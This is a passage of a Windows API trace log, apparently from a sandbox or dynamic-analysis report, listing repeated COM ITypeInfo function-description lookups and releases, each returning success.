ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x20, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x21, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x22, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x23, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x24, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x25, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x26, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x27, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x28, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x29, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x30, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x31, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x32, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x33, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x34, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x35, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.750] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x36, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x37, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x38, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x39, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x40, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x41, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x42, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x43, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x44, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x45, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.751] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x46, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x47, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x48, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x49, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x50, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x51, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x52, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x53, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x54, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x55, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x56, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x57, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.752] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x58, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x59, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x60, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x61, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x62, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x63, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.753] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x64, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x65, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x66, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x67, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x68, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x69, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6b, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6c, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6d, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6e, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6f, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x70, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x71, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x72, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x73, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x74, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x75, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x76, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x77, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.754] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x78, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x79, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7a, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.755] ITypeInfo:LocalReleaseFuncDesc 